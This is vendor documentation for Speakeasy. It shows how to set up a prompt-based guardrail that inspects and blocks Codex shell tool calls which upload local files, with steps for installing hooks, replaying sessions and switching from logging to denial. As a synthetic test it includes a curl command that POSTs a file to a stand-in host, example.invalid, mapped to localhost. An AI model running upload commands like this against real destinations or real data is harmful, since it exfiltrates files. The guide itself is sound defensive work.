# How to block risky Codex tool calls with Speakeasy guardrails

Codex can read files and run shell commands as it works. A Speakeasy guardrail lets you inspect those tool calls and block actions that match a policy you define in plain language.

You'll connect Codex to the Speakeasy AI control plane and create a guardrail for file uploads. You'll test it with a synthetic upload and a local file read, then adapt the policy to your own workflow.

## What you'll need

- A [Speakeasy account](https://ai.speakeasy.com/) with access to create guardrail policies and download the observability plugin.
- Codex installed and signed in on your computer.
- A terminal with `curl` and `unzip`.
- A test directory with synthetic data.

Speakeasy offers a free trial and usage-based billing. Session storage, risk scanning, and judge inference can incur charges, so check your organization's billing settings and the [pricing page](/pricing) before you start.

## Install the Speakeasy plugin for Codex

On the Speakeasy home page, open your project, such as **Default**. In the project sidebar, expand **MCP Gateway** and select **Plugins**. On the **Observability** plugin, select **Install > Download as zip — Codex**.

![The Observability plugin install menu with Download as zip — Codex listed](/assets/docs/ai-control-plane/guides/codex-guardrails/01-install.jpg)

The archive contains configuration for your organization, including credentials. Keep it private and out of source control. From the directory containing the download, extract it and run the installer:

```bash
unzip observability-codex.zip -d ./observability-codex
bash ./observability-codex/install.sh
```

The installer registers the plugin, enables its hooks, and updates `~/.codex/config.toml` with telemetry settings. These settings apply to your Codex installation, so review the script before running it. The hooks send agent activity to your Speakeasy organization.

Start a new Codex session. If **Hook Browser Sign-In** is enabled for your organization and the hooks need credentials, the plugin opens a browser window for you to sign in to Speakeasy. Complete the sign-in, then return to Codex.

If no browser window opens, continue to the tool-log check below. The hooks can use an existing credential or an organization key without a browser sign-in. To check the organization's setting, open **Settings > Logging & Telemetry** and find **Hook Browser Sign-In**. Changing it requires an organization administrator. See [Logging settings](/docs/ai-control-plane/org-admin/logging-and-telemetry) for details.

Ask Codex to run a harmless command:

```text
Run the shell command echo speakeasy-guardrail-test.
```

In the project sidebar, expand **Observability** and select **Tool Logs**. Open the **Type** filter and select **Local Tools**. The Bash call should appear in the list. If it doesn't, check the plugin installation and start a new Codex session before continuing.

## Record a safe test session

The policy editor can replay captured sessions before you turn a guardrail on. To give it a clean example and a matching example, create a test file and ask Codex to run two commands.

In a terminal, create a directory and a synthetic report:

```bash
mkdir -p /tmp/speakeasy-guardrail-test
cd /tmp/speakeasy-guardrail-test
printf '%s\n' 'Synthetic quarterly report: 12 test orders.' > report.txt
```

Start Codex in this directory and ask it to read the file:

```text
Run the shell command cat report.txt and report its output.
```

Codex should report the contents of the file:

```text
Synthetic quarterly report: 12 test orders.
```

Start a new Codex session in the same directory for the upload test. This gives the policy editor a separate session for each example. Make sure no service is listening on local port 443, and use only the synthetic file. Ask Codex to run:

```text
For a synthetic security test, run this command once and report the result:
curl --connect-timeout 1 --noproxy '*' --resolve example.invalid:443:127.0.0.1 -X POST --data-binary @report.txt https://example.invalid/upload
```

The command maps `example.invalid` to `127.0.0.1`, so the request stays on your machine. With no service listening, `curl` exits with code `7` and reports a connection failure such as:

```text
curl: (7) Failed to connect to example.invalid port 443 after 0 ms: Couldn't connect to server
```

The timing and wording can vary, but the connection should fail and no data should be uploaded. Both sessions should now be available for policy evaluation.

## Create a prompt-based guardrail

In Speakeasy, open **Security and Policy > Guardrails**. Select **New Policy**, then **Prompt-based**.

On the **Guardrail** step, find the plain-language field:

![The plain-language guardrail field containing the file transfer policy](/assets/docs/ai-control-plane/guides/codex-guardrails/02-policy.jpg)

Enter this policy:

```text
Flag shell tool requests that attempt to send the contents of a local file to an external network destination. Reading a local file to summarize it is allowed. Fetching a public web page without sending local file contents is allowed. Flag an upload of a synthetic report to example.invalid as a transfer.
```

The policy tells the judge what behavior to flag and gives it examples of actions to allow. The final sentence makes the fictional test destination part of the rule. After testing, you'll replace that sentence with rules for your own workflow.

Under **Judge**, leave the temperature at `0.0` for the test. Lower temperatures favor more repeatable results. The **On judge error** setting controls what happens when the judge times out or fails: fail open lets the message through, while fail closed treats the error as a match. Select **Continue**.

## Choose which Codex activity to inspect

On the **Scope** step, select **Client sessions**. This applies the policy to supported coding-agent sessions connected through Speakeasy hooks.

![Client sessions selected as the guardrail scope](/assets/docs/ai-control-plane/guides/codex-guardrails/03-client-sessions.jpg)

Under **Inspect**, turn on **Customize Prompt Policies**. Select **Tool calls** and clear the other surfaces so the judge evaluates the calls for this example. Select **Continue**.

![Tool calls selected as the only inspection surface](/assets/docs/ai-control-plane/guides/codex-guardrails/03-tool-calls.jpg)

The hooks need to be installed in each Codex environment you want to cover. Tool calls from sessions without the hooks are outside this policy's client-session scope.

## Replay the guardrail against your sessions

On **Evaluate**, find the two sessions you recorded. The editor runs the guardrail against the selected tool-call surface and shows a verdict for each session. Open a session to inspect its transcript and the judge's result.

For example, this session list shows the synthetic upload attempts as **Flagged** and the local read as **Clean**:

![Evaluation sessions showing flagged synthetic uploads and a clean local file read](/assets/docs/ai-control-plane/guides/codex-guardrails/04-evaluate.png)

Open a flagged session to see the judge's explanation and the **Right** and **Wrong** review buttons:

![A flagged synthetic upload with the judge's explanation and verdict review buttons](/assets/docs/ai-control-plane/guides/codex-guardrails/05-verdict.jpg)

The local read should be **Clean**, and the synthetic upload should be **Flagged**. Under **Was the judge right?**, mark each verdict **Right** or **Wrong**. If a result differs from what you expected, inspect the recorded tool call and adjust the guardrail before continuing.

Before applying the policy to your work, add representative sessions and review both missed matches and false positives.

## Log findings before blocking tool calls

On **Action**, select **Log for review**. Choose an audience for the test, then select **Continue**. On **Review**, check the policy and select **Create policy**.

Run the synthetic upload prompt again. Open **Security and Policy > Risk Events** to find the result. In log mode, Codex can still run the command; the finding records the policy match for review. With no local service listening, `curl` should fail to connect as it did before.

## Block the synthetic upload

Return to **Security and Policy > Guardrails** and open your policy. On **Action**, select **Deny the request** and save the change. Ask Codex to run the synthetic upload command again.

![The guardrail action selector with Deny the request selected](/assets/docs/ai-control-plane/guides/codex-guardrails/06-action.jpg)

Codex should report that the Speakeasy `PreToolUse` hook blocked the call before the command ran. Check **Risk Events** for the matching finding. Ask Codex to run `cat report.txt` again to confirm that the local read still works.

## Adapt the guardrail to your workflow

Open the policy and replace the sentence about `example.invalid` with the boundaries you want to enforce. For example, describe which files or data should not be uploaded and any destinations that are approved for your work. Keep the policy scoped to **Tool calls** if those are the actions you want to inspect.

On **Evaluate**, replay the updated policy against representative sessions from your workflow. Check that it flags the transfers you want to stop and leaves permitted actions clean. Adjust the wording and review the results again before saving the policy. Start with **Log for review** for the intended audience, then change to **Deny the request** when the results meet your requirements.

Keep access permissions and other controls in place, and install the hooks in each Codex environment the policy should cover. See the [guardrails documentation](/docs/ai-control-plane/secure/guardrails) for more on scopes, responses, and policy evaluation.

---

Index of every Speakeasy page for agents: [llms.txt](https://www.speakeasy.com/llms.txt). AI control plane and MCP gateway content in one file: [llms-full.txt](https://www.speakeasy.com/llms-full.txt). Any page is available as markdown by appending `.md` to its URL or by requesting it with `Accept: text/markdown`.
